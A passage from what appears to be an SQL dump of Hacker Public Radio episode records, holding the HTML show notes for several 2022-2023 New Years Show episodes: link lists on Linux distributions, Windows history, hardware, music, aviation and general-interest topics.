championing vaccination and\nnumber of employees vaccinated.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/McDonnell_F-101_Voodoo\">wikipedia:</a>\nThe McDonnell F-101 Voodoo is a supersonic jet fighter which served the\nUnited States Air Force (USAF) and the Royal Canadian Air Force\n(RCAF).</li>\n<li><a href=\"https://en.wikipedia.org/wiki/MIM-23_Hawk\">wikipedia:</a>\nThe Raytheon MIM-23 HAWK (\"Homing all the way killer\") is an American\nmedium-range surface-to-air missile.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/C-4_(explosive)\">wikipedia:</a> C-4\nor Composition C-4 is a common variety of the plastic explosive family\nknown as Composition C, which uses RDX as its explosive agent.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Boeing_C-97_Stratofreighter\">wikipedia:</a>\nThe Boeing C-97 Stratofreighter was a long-range heavy military cargo\naircraft developed from the B-29 and B-50 bombers.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Boeing_B-29_Superfortress\">wikipedia:</a>\nThe Boeing B-29 Superfortress is an American four-engined\npropeller-driven heavy bomber, designed by Boeing and flown primarily by\nthe United States during World War II and the Korean War.</li>\n<li><a\nhref=\"https://www.nasa.gov/directorates/heo/scan/communications/outreach/funfacts/txt_relay_satellite.html\">nasa:</a>\nWhat is a relay satellite?</li>\n<li><a\nhref=\"https://truckstop.com/blog/long-haul-trucking/\">truckstop:</a>\nLong-Haul Trucking: Everything You Need to Know.</li>\n<li><a href=\"https://www.bodhilinux.com/\">bodhilinux:</a> Bodhi Linux, a\nlightweight distribution featuring the fast &amp; fully customizable\nMoksha Desktop. The 64-bit is built on top of Ubuntu (20.04).</li>\n<li><a href=\"https://stormos-linux.com/\">stormos:</a> Storm OS is a\nLinux distribution based on Arch, and LFS (Linux from Scratch)!</li>\n<li><a href=\"https://stormdos.sourceforge.net/\">stormdos:</a> a\nmultitasking 32-bit operating system written in Free Pascal (FPK, <a\nhref=\"http://www.freepascal.org\">http://www.freepascal.org</a> ) and\ndistributed under GNU GPL v2 license and SDK files under GNU Lesser GPL\nv2.1.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_Linux_distributions\">wikipedia:</a>\nList of Linux distributions.</li>\n<li><a\nhref=\"https://sourceforge.net/projects/titan-linux/\">sourceforge:</a>\nTitan Linux is an all new distro built on the Debian Stable branch. It\'s\na fully functional yet minimal KDE Plasma desktop experience focusing on\nusability and performance with a wide range of hardware support out of\nthe box.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Dyslexia\">wikipedia:</a>\nDyslexia, also known until the 1960s as word blindness, is a disorder\ncharacterized by reading below the expected level for one\'s age.\nDifferent people are affected to different degrees. Problems may include\ndifficulties in spelling words, reading quickly, writing words,\n\"sounding out\" words in the head, pronouncing words when reading aloud\nand understanding what one reads.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/DSM-5\">wikipedia:</a> The\nDiagnostic and Statistical Manual of Mental Disorders, Fifth Edition\n(DSM-5), is the 2013 update to the Diagnostic and Statistical Manual of\nMental Disorders, the taxonomic and diagnostic tool published by the\nAmerican Psychiatric Association (APA). In the United States, the DSM\nserves as the principal authority for psychiatric diagnoses.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Diagnostic_and_Statistical_Manual_of_Mental_Disorders#DSM-IV_(1994)\">wikipedia:</a>\nIn 1994, DSM-IV was published, listing 410 disorders in 886 pages. The\ntask force was chaired by Allen Frances and was overseen by a steering\ncommittee of twenty-seven people, including four psychologists.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Thyroid\">wikipedia:</a> The\nthyroid, or thyroid gland, is an endocrine gland in vertebrates. In\nhumans it is in the neck and consists of two connected lobes.</li>\n<li><a\nhref=\"https://www.learning-mind.com/personality-assessment-tests/\">learning:</a>\nWhy use personality assessment tests?</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Major_depressive_disorder\">wikipedia:</a>\nMajor depressive disorder (MDD), also known as clinical depression, is a\nmental disorder characterized by at least two weeks of pervasive low\nmood, low self-esteem, and loss of interest or pleasure in normally\nenjoyable activities.</li>\n<li><a href=\"https://www.drugs.com/testosterone.html\">drugs:</a>\nTestosterone Injection.</li>\n<li><a\nhref=\"https://www.healthline.com/health/low-testosterone/warning-signs\">healthline:</a>\nLow testosterone in males is common as they get older. Symptoms can be\nsubtle, but there is treatment available if the symptoms affect your\nlifestyle.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Endocrinology\">wikipedia:</a>\nEndocrinology (from endocrine + -ology) is a branch of biology and\nmedicine dealing with the endocrine system, its diseases, and its\nspecific secretions known as hormones. It is also concerned with the\nintegration of developmental events proliferation, growth, and\ndifferentiation, and the psychological or behavioral activities of\nmetabolism, growth and development, tissue function, sleep, digestion,\nrespiration, excretion, mood, stress, lactation, movement, reproduction,\nand sensory perception caused by hormones.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nephrology\">wikipedia:</a>\nNephrology (from Greek nephros \"kidney\", combined with the suffix -logy,\n\"the study of\") is a specialty of adult internal medicine and pediatric\nmedicine that concerns the study of the kidneys, specifically normal\nkidney function (renal physiology) and kidney disease (renal\npathophysiology), the preservation of kidney health, and the treatment\nof kidney disease, from diet and medication to renal replacement therapy\n(dialysis and kidney transplantation).</li>\n<li><a\nhref=\"https://www.allrecipes.com/recipe/246847/salmon-tacos/\">allrecipes:</a>\nSalmon Tacos.</li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3824,'2023-03-30','2022-2023 New Years Show Episode 4',7209,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-4\">Episode #4</h2>\n<ul>\n<li><p>Massachusetts Comprehensive Assessment System<br />\n<a href=\"https://www.mass.gov/parents-guide-to-the-mcas\"\nclass=\"uri\">https://www.mass.gov/parents-guide-to-the-mcas</a><br />\n<a\nhref=\"https://en.wikipedia.org/wiki/Massachusetts_Comprehensive_Assessment_System\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Massachusetts_Comprehensive_Assessment_System</a></p></li>\n<li><p>Standardized Testing Was Invented In Massachusetts<br />\n<a\nhref=\"https://ed.lehigh.edu/news-events/news/history-standardized-testing\"\nclass=\"uri\">https://ed.lehigh.edu/news-events/news/history-standardized-testing</a></p></li>\n<li><p>GED Exam<br />\n<a href=\"https://ged.com/about_test/test_subjects/\"\nclass=\"uri\">https://ged.com/about_test/test_subjects/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/General_Educational_Development\"\nclass=\"uri\">https://en.wikipedia.org/wiki/General_Educational_Development</a></p></li>\n<li><p>Alternative High Schools<br />\n<a href=\"https://blog.prepscholar.com/alternative-high-schools\"\nclass=\"uri\">https://blog.prepscholar.com/alternative-high-schools</a></p></li>\n<li><p>Umbrella Revolution<br />\n<a\nhref=\"https://time.com/3471366/hong-kong-umbrella-revolution-occupy-central-democracy-explainer-6-questions/\"\nclass=\"uri\">https://time.com/3471366/hong-kong-umbrella-revolution-occupy-central-democracy-explainer-6-questions/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Umbrella_Movement\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Umbrella_Movement</a></p></li>\n<li><p>Learning the Finnish Language<br />\n<a\nhref=\"https://finland.fi/life-society/how-the-heck-do-you-learn-finnish-part-1/\"\nclass=\"uri\">https://finland.fi/life-society/how-the-heck-do-you-learn-finnish-part-1/</a><br />\n<a href=\"https://herfinland.com/finnish-language-learning/\"\nclass=\"uri\">https://herfinland.com/finnish-language-learning/</a></p></li>\n<li><p>France Bans Google Drive In Schools<br />\n<a\nhref=\"https://www.theregister.com/2022/11/22/france_no_windows_google/\"\nclass=\"uri\">https://www.theregister.com/2022/11/22/france_no_windows_google/</a><br />\n<a\nhref=\"https://gettotext.com/office-365-and-google-drive-are-not-welcome-in-french-schools-even-if-they-are-free/\"\nclass=\"uri\">https://gettotext.com/office-365-and-google-drive-are-not-welcome-in-french-schools-even-if-they-are-free/</a></p></li>\n<li><p>Windows Me (Windows Millennium Edition)<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_Me\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_Me</a><br />\n<a\nhref=\"https://www.howtogeek.com/688861/windows-me-20-years-later-was-it-really-that-bad/\"\nclass=\"uri\">https://www.howtogeek.com/688861/windows-me-20-years-later-was-it-really-that-bad/</a></p></li>\n<li><p>Windows 2000<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_2000\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_2000</a></p></li>\n<li><p>Windows 95<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_95\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_95</a></p></li>\n<li><p>FreeDOS<br />\n<a href=\"https://www.freedos.org/\"\nclass=\"uri\">https://www.freedos.org/</a></p></li>\n<li><p>BOX 86<br />\n<a href=\"https://box86.org/\" class=\"uri\">https://box86.org/</a></p></li>\n<li><p>React OS<br />\n<a href=\"https://reactos.org/\"\nclass=\"uri\">https://reactos.org/</a></p></li>\n<li><p>WINE<br />\n<a href=\"https://www.winehq.org/\"\nclass=\"uri\">https://www.winehq.org/</a></p></li>\n<li><p>Proton<br />\n<a href=\"https://github.com/ValveSoftware/Proton\"\nclass=\"uri\">https://github.com/ValveSoftware/Proton</a><br />\n<a href=\"https://www.tomshardware.com/how-to/game-with-steam-on-linux\"\nclass=\"uri\">https://www.tomshardware.com/how-to/game-with-steam-on-linux</a><br />\n<a href=\"https://www.protondb.com/\"\nclass=\"uri\">https://www.protondb.com/</a></p></li>\n<li><p>Windows XP<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_XP\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_XP</a></p></li>\n<li><p>Windows 7<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_7\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_7</a></p></li>\n<li><p>Windows 10<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_10\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_10</a></p></li>\n<li><p>Windows 10 - The Last Version of Windows?<br />\n<a\nhref=\"https://www.theverge.com/2015/5/7/8568473/windows-10-last-version-of-windows\"\nclass=\"uri\">https://www.theverge.com/2015/5/7/8568473/windows-10-last-version-of-windows</a><br />\n<a\nhref=\"https://www.pcworld.com/article/394724/why-is-there-a-windows-11-if-windows-10-is-the-last-windows.html\"\nclass=\"uri\">https://www.pcworld.com/article/394724/why-is-there-a-windows-11-if-windows-10-is-the-last-windows.html</a></p></li>\n<li><p>Windows 11<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_11\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_11</a></p></li>\n<li><p>TPM<br />\n<a href=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Trusted_Platform_Module</a></p></li>\n<li><p>Netbook Remix<br />\n<a href=\"https://wiki.ubuntu.com/UNR\"\nclass=\"uri\">https://wiki.ubuntu.com/UNR</a></p></li>\n<li><p>HP 11 Chromebook<br />\n<a href=\"https://www.lifewire.com/hp-chromebook-11-review-4845478\"\nclass=\"uri\">https://www.lifewire.com/hp-chromebook-11-review-4845478</a></p></li>\n<li><p>Starlabs<br />\n<a href=\"https://us.starlabs.systems/\"\nclass=\"uri\">https://us.starlabs.systems/</a></p></li>\n<li><p>Modular Laptop<br />\n<a href=\"https://frame.work/\"\nclass=\"uri\">https://frame.work/</a></p></li>\n<li><p>Pine 64<br />\n<a href=\"https://www.pine64.org/\"\nclass=\"uri\">https://www.pine64.org/</a></p></li>\n<li><p>Linus Tech Tips<br />\n<a href=\"https://www.youtube.com/@LinusTechTips\"\nclass=\"uri\">https://www.youtube.com/@LinusTechTips</a></p></li>\n<li><p>Pine Phone<br />\n<a href=\"https://www.pine64.org/pinephonepro/\"\nclass=\"uri\">https://www.pine64.org/pinephonepro/</a></p></li>\n<li><p>Google Aria (announced, not released)<br />\n<a href=\"https://www.keatteoh.com/google-aria\"\nclass=\"uri\">https://www.keatteoh.com/google-aria</a></p></li>\n<li><p>Right to Repair - Apple / EU<br />\n<a\nhref=\"https://repair.eu/news/apples-self-repair-programme-is-not-the-right-to-repair-we-need/\"\nclass=\"uri\">https://repair.eu/news/apples-self-repair-programme-is-not-the-right-to-repair-we-need/</a><br />\n<a\nhref=\"https://www.apple.com/newsroom/2022/12/apple-launches-self-service-repair-in-europe/\"\nclass=\"uri\">https://www.apple.com/newsroom/2022/12/apple-launches-self-service-repair-in-europe/</a></p></li>\n<li><p>Apple Moves To USB C<br />\n<a\nhref=\"https://www.wired.com/story/apple-says-iphones-will-finally-get-usb-c-ports/\"\nclass=\"uri\">https://www.wired.com/story/apple-says-iphones-will-finally-get-usb-c-ports/</a></p></li>\n<li><p>Windows Mobile<br />\n<a href=\"https://en.wikipedia.org/wiki/Windows_Mobile\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Windows_Mobile</a></p></li>\n<li><p>Lumia series phones (Nokia/Windows Mobile)<br />\n<a href=\"https://en.wikipedia.org/wiki/Microsoft_Lumia\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Microsoft_Lumia</a></p></li>\n<li><p>Metro UI (Modern UI)<br />\n<a href=\"https://en.wikipedia.org/wiki/Metro_(design_language)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Metro_(design_language)</a><br />\n<a href=\"https://microsoft.fandom.com/wiki/Modern_UI\"\nclass=\"uri\">https://microsoft.fandom.com/wiki/Modern_UI</a></p></li>\n<li><p>GNOME 2<br />\n<a href=\"https://en.wikipedia.org/wiki/GNOME_2\"\nclass=\"uri\">https://en.wikipedia.org/wiki/GNOME_2</a></p></li>\n<li><p>GNOME 3<br />\n<a href=\"https://en.wikipedia.org/wiki/GNOME_3\"\nclass=\"uri\">https://en.wikipedia.org/wiki/GNOME_3</a></p></li>\n<li><p>Unity<br />\n<a href=\"https://en.wikipedia.org/wiki/Unity_(user_interface)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Unity_(user_interface)</a></p></li>\n<li><p>KDE<br />\n<a href=\"https://kde.org/\" class=\"uri\">https://kde.org/</a></p></li>\n<li><p>MATE<br />\n<a href=\"https://mate-desktop.org/\"\nclass=\"uri\">https://mate-desktop.org/</a></p></li>\n<li><p>Cinnamon<br />\n<a href=\"https://en.wikipedia.org/wiki/Cinnamon_(desktop_environment)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Cinnamon_(desktop_environment)</a></p></li>\n<li><p>XFCE<br />\n<a href=\"https://www.xfce.org/\"\nclass=\"uri\">https://www.xfce.org/</a></p></li>\n<li><p>Redhat<br />\n<a href=\"https://www.redhat.com/en\"\nclass=\"uri\">https://www.redhat.com/en</a></p></li>\n<li><p>Ubuntu<br />\n<a href=\"https://ubuntu.com/\"\nclass=\"uri\">https://ubuntu.com/</a></p></li>\n<li><p>SUSE<br />\n<a href=\"https://www.suse.com/\"\nclass=\"uri\">https://www.suse.com/</a></p></li>\n<li><p>Enlightenment<br />\n<a href=\"http://www.enlightenment.org/\"\nclass=\"uri\">http://www.enlightenment.org/</a></p></li>\n<li><p>Canonical<br />\n<a href=\"https://canonical.com/\"\nclass=\"uri\">https://canonical.com/</a></p></li>\n<li><p>ICE Windows Manager<br />\n<a href=\"https://ice-wm.org/\"\nclass=\"uri\">https://ice-wm.org/</a></p></li>\n<li><p>DWM<br />\n<a href=\"https://dwm.suckless.org/\"\nclass=\"uri\">https://dwm.suckless.org/</a></p></li>\n<li><p>Pipewire<br />\n<a href=\"https://pipewire.org/\"\nclass=\"uri\">https://pipewire.org/</a></p></li>\n<li><p>Ice Cast<br />\n<a href=\"https://icecast.org/\"\nclass=\"uri\">https://icecast.org/</a></p></li>\n<li><p>Pavucontrol<br />\n<a href=\"https://freedesktop.org/software/pulseaudio/pavucontrol/\"\nclass=\"uri\">https://freedesktop.org/software/pulseaudio/pavucontrol/</a><br />\n<a\nhref=\"https://www.addictivetips.com/ubuntu-linux-tips/manage-audio-devices-on-linux-pavucontrol/\"\nclass=\"uri\">https://www.addictivetips.com/ubuntu-linux-tips/manage-audio-devices-on-linux-pavucontrol/</a></p></li>\n<li><p>Jitsi<br />\n<a href=\"https://jitsi.org/\" class=\"uri\">https://jitsi.org/</a></p></li>\n<li><p>Mumble<br />\n<a href=\"https://www.mumble.info/\"\nclass=\"uri\">https://www.mumble.info/</a></p></li>\n<li><p>Mintcast<br />\n<a href=\"https://mintcast.org/\"\nclass=\"uri\">https://mintcast.org/</a></p></li>\n<li><p>Manjaro<br />\n<a href=\"https://manjaro.org/\"\nclass=\"uri\">https://manjaro.org/</a></p></li>\n<li><p>Linux Mint<br />\n<a href=\"https://linuxmint.com/\"\nclass=\"uri\">https://linuxmint.com/</a></p></li>\n<li><p>TLLTS<br />\n<a href=\"https://tllts.org/\" class=\"uri\">https://tllts.org/</a></p></li>\n<li><p>DD (Linux command)<br />\n<a\nhref=\"https://linuxconfig.org/how-dd-command-works-in-linux-with-examples\"\nclass=\"uri\">https://linuxconfig.org/how-dd-command-works-in-linux-with-examples</a></p></li>\n<li><p>GNU World Order<br />\n<a href=\"https://gnuworldorder.info/\"\nclass=\"uri\">https://gnuworldorder.info/</a></p></li>\n<li><p>Mastodon<br />\n<a href=\"https://mastodon.social/explore\"\nclass=\"uri\">https://mastodon.social/explore</a></p></li>\n<li><p>Funkwhale<br />\n<a href=\"https://funkwhale.audio/\"\nclass=\"uri\">https://funkwhale.audio/</a></p></li>\n<li><p>Retro Strange<br />\n<a href=\"https://retrostrange.com/tv/\"\nclass=\"uri\">https://retrostrange.com/tv/</a></p></li>\n<li><p>Owncast<br />\n<a href=\"https://owncast.online/\"\nclass=\"uri\">https://owncast.online/</a></p></li>\n<li><p>Mrs Brown\'s Boys Christmas Special<br />\n<a href=\"https://www.comedy.co.uk/tv/mrs_browns_boys/episodes/2022/1/\"\nclass=\"uri\">https://www.comedy.co.uk/tv/mrs_browns_boys/episodes/2022/1/</a></p></li>\n<li><p>Liver-Eating Johnson<br />\n<a href=\"https://en.wikipedia.org/wiki/Liver-Eating_Johnson\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Liver-Eating_Johnson</a><br />\n<a href=\"https://allthatsinteresting.com/liver-eating-johnson\"\nclass=\"uri\">https://allthatsinteresting.com/liver-eating-johnson</a></p></li>\n<li><p>Herman Munster<br />\n<a href=\"https://en.wikipedia.org/wiki/Herman_Munster\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Herman_Munster</a></p></li>\n<li><p><strong>Happy New Year To Ukraine and Finland</strong></p></li>\n<li><p>BookWyrm<br />\n<a href=\"https://github.com/bookwyrm-social/bookwyrm\"\nclass=\"uri\">https://github.com/bookwyrm-social/bookwyrm</a></p></li>\n<li><p>Letterboxd<br />\n<a href=\"https://letterboxd.com/apps/\"\nclass=\"uri\">https://letterboxd.com/apps/</a></p></li>\n<li><p>Goodreads<br />\n<a href=\"https://www.goodreads.com\"\nclass=\"uri\">https://www.goodreads.com</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3834,'2023-04-13','2022-2023 New Years Show Episode 5',7186,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-5\">Episode #5</h2>\n<ul>\n<li><a\nhref=\"https://www.printables.com/model/348385-kirby-40mm-fume-extractor\">printables:</a>\nKirby 40mm Fume Extractor.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kirby_Company\">wikipedia:</a>\nThe Kirby Company is a manufacturer of vacuum cleaners and home cleaning\naccessories, located in Cleveland, Ohio, United States. It is a division\nof Right Lane Industries.</li>\n<li><a href=\"https://linuxlugcast.com/\">lugcast:</a> We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/PlayStation_Portable\">wikipedia:</a>\nThe PlayStation Portable (PSP) is a handheld game console developed and\nmarketed by Sony Computer Entertainment.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Rammstein\">wikipedia:</a>\nRammstein is a German Neue Deutsche H&#xE4;rte band formed in Berlin in 1994.\n<ul>\n<li>Goodluck with all the rest of the band/music chatter. I can\'t\nunderstand any of it.</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=bkskypJMWcE\">youtube:</a>\nBurger Dance.\n<ul>\n<li>Please no. Why did I signup for this.</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Syphilis\">wikipedia:</a>\nSyphilis is most commonly spread through sexual activity.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Death_(metal_band)\">wikipedia:</a>\nDeath was an American death metal band formed in Altamonte Springs,\nFlorida, in 1984 by Chuck Schuldiner. Death is considered to be among\nthe most influential bands in heavy metal music and a pioneering force\nin death metal.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Death_(proto-punk_band)\">wikipedia:</a>\nDeath is a Detroit rock band formed in Detroit, Michigan in 1971 by\nbrothers Bobby, David, and Dannis Hackney.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/BitLocker\">wikipedia:</a>\nBitLocker is a full volume encryption feature included with Microsoft\nWindows versions starting with Windows Vista.</li>\n<li><a\nhref=\"https://www.dell.com/us/en/business/notebooks/latitude-e6410/pd.aspx?refid=latitude-e6410\">dell:</a>\nLatitude E6410 Laptop.</li>\n<li><a href=\"http://www.slackware.com/\">slackware:</a> Slackware is a\nLinux distribution created by Patrick Volkerding in 1993.</li>\n<li><a href=\"http://www.puppylinux.com/\">puppylinux:</a> Puppy Linux is\nan operating system and family of light-weight Linux distributions that\nfocus on ease of use and minimal memory footprint.</li>\n<li><a href=\"https://tails.boum.org/\">tails:</a> Tails, or The Amnesic\nIncognito Live System, is a security-focused Debian-based Linux\ndistribution aimed at preserving privacy and anonymity.</li>\n<li><a href=\"https://www.debian.org/\">debian:</a> Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Trusted_Platform_Module\">wikipedia:</a>\nTrusted Platform Module (TPM, also known as ISO/IEC 11889) is an\ninternational standard for a secure cryptoprocessor, a dedicated\nmicrocontroller designed to secure hardware through integrated\ncryptographic keys.</li>\n<li><a\nhref=\"https://www.pine64.org/devices/single-board-computers/rock64/\">pine64:</a>\nROCK64 is a credit card sized Single Board Computer powered by Rockchip\nRK3328 quad-core ARM Cortex A53 64-Bit Processor and support up to 4GB\n1600MHz LPDDR3 memory.</li>\n<li><a href=\"https://hub.docker.com/r/realies/nicotine/\">docker:</a>\nrealies/nicotine.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Rsync\">wikipedia:</a> rsync\nis a utility for efficiently transferring and synchronizing files\nbetween a computer and an external hard drive and across networked\ncomputers by comparing the modification times and sizes of files.</li>\n<li><a href=\"https://funkwhale.audio/\">funkwhale:</a> Listen to your\nmusic, everywhere. Upload your personal library to your pod, share it\nwith friends and family, and discover talented creators.</li>\n<li><a href=\"https://www.mumble.info/\">mumble:</a> Mumble is a free,\nopen source, low latency, high quality voice chat application.</li>\n<li><a href=\"https://www.youtube.com/watch?v=8e1xvyTdBZI\">youtube:</a>\nErnie (The Fastest Milkman In The West).\n<ul>\n<li>Why?!</li>\n</ul></li>\n<li><a href=\"https://www.youtube.com/watch?v=sFacWGBJ_cs\">youtube:</a>\nShaddap You Face - Joe Dolce.</li>\n<li><a href=\"https://www.ironmaiden.com/\">ironmaiden:</a> Iron Maiden\nare an English heavy metal band formed in Leyton, East London, in 1975\nby bassist and primary songwriter Steve Harris.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kamelot\">wikipedia:</a>\nKamelot is an American power metal band from Tampa, Florida, formed by\nThomas Youngblood, in 1987.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nightwish\">wikipedia:</a>\nNightwish is a Finnish symphonic metal band from Kitee.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Kitee\">wikipedia:</a> Kitee\nis a town and a municipality of Finland. It is located in the province\nof Eastern Finland and is part of the North Karelia region.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Evanescence\">wikipedia:</a>\nEvanescence is an American rock band founded in Little Rock, Arkansas in\n1995 by singer and musician Amy Lee and guitarist Ben Moody.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Deep_Purple\">wikipedia:</a>\nDeep Purple are an English rock band formed in London in 1968.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Pink_Floyd\">wikipedia:</a>\nPink Floyd are an English rock band formed in London in 1965.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Black_Sabbath\">wikipedia:</a>\nBlack Sabbath were an English rock band formed in Birmingham in 1968 by\nguitarist Tony Iommi, drummer Bill Ward, bassist Geezer Butler and\nvocalist Ozzy Osbourne.</li>\n<li><a href=\"https://www.toastmasters.org/\">toastmasters</a>\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.</li>\n<li><a href=\"https://www.bbc.com/\">bbc:</a> The British Broadcasting\nCorporation is the national broadcaster of the United Kingdom, based at\nBroadcasting House in London.</li>\n<li><a href=\"https://matrix.org/\">matrix:</a> An open network for\nsecure, decentralized communication.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">wikipedia:</a>\nThe General Data Protection Regulation is a Regulation in EU law on data\nprotection and privacy in the EU and the European Economic Area.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gopher_(protocol)\">wikipedia:</a>\nThe Gopher protocol (/&#x2C8;&#x261;o&#x28A;f&#x259;r/) is a communication protocol designed for\ndistributing, searching, and retrieving documents in Internet Protocol\nnetworks.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gemini_(protocol)\">wikipedia:</a>\nGemini is an application-layer internet communication protocol for\naccessing remote documents, similar to the Hypertext Transfer Protocol\n(HTTP) and Gopher.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Slipknot_(band)\">wikipedia:</a>\nSlipknot is an American heavy metal band formed in Des Moines, Iowa, in\n1995 by percussionist Shawn Crahan, drummer Joey Jordison and bassist\nPaul Gray.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/After_Forever\">wikipedia:</a>\nAfter Forever was a Dutch symphonic metal band with strong progressive\nmetal influences. The band relied on the use of both soprano vocals and\ndeath growls.</li>\n<li><a href=\"https://metallica.com/\">metallica:</a> Metallica is an\nAmerican heavy metal band.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Queen_(band)\">wikipedia:</a>\nQueen are a British rock band formed in London in 1970 by Freddie\nMercury (lead vocals, piano), Brian May (guitar, vocals) and Roger\nTaylor (drums, vocals), later joined by John Deacon (bass).</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Brexit\">wikipedia:</a> Brexit\n(a portmanteau of \"British exit\") was the withdrawal of the United\nKingdom (UK) from the European Union (EU) at 23:00 GMT on 31 January\n2020 (00:00 1 February 2020 CET). The UK is the only sovereign country\nto have left the EU or the EC.</li>\n<li><a href=\"https://www.imdb.com/title/tt0057793/\">imdb:</a> A WWII\nbomb group commander must fill the shoes of his predecessor and get the\nperformance rating up to snuff.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Twelve_O%27Clock_High\">wikipedia:</a>\nTwelve O\'Clock High is a 1949 American war film about aircrews in the\nUnited States Army\'s Eighth Air Force, who flew daylight bombing\nmissions against Germany and Occupied France during the early days of\nAmerican involvement in World War II.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Boeing_B-17_Flying_Fortress\">wikipedia:</a>\nThe Boeing B-17 Flying Fortress is a four-engined heavy bomber developed\nin the 1930s for the United States Army Air Corps (USAAC).</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Next_Unit_of_Computing\">wikipedia:</a>\nNext Unit of Computing (NUC) is a line of small-form-factor barebone\ncomputer kits designed by Intel.</li>\n<li><a href=\"https://www.plex.tv/media-server-downloads/\">plex:</a> With\nour easy-to-install Plex Media Server software and Plex apps on the\ndevices of your choosing, you can stream your video, music, and photo\ncollections any time, anywhere, to whatever you want.</li>\n<li><a href=\"https://ubuntu.com/\">ubuntu:</a> Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.</li>\n<li><a href=\"https://www.ebay.com/\">ebay:</a> Buy &amp; sell\nelectronics, cars, clothes, collectibles &amp; more on eBay, the world\'s\nonline marketplace.</li>\n<li><a\nhref=\"https://www.amazon.com/refurbished/s?k=refurbished\">amazon:</a>\nAmazon Renewed is your trusted destination for pre-owned, refurbished\nproducts.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Ryzen\">wikipedia:</a> Ryzen\nis a brand of multi-core x86-64 microprocessors designed and marketed by\nAMD for desktop, mobile, server, and embedded platforms based on the Zen\nmicroarchitecture.</li>\n<li><a 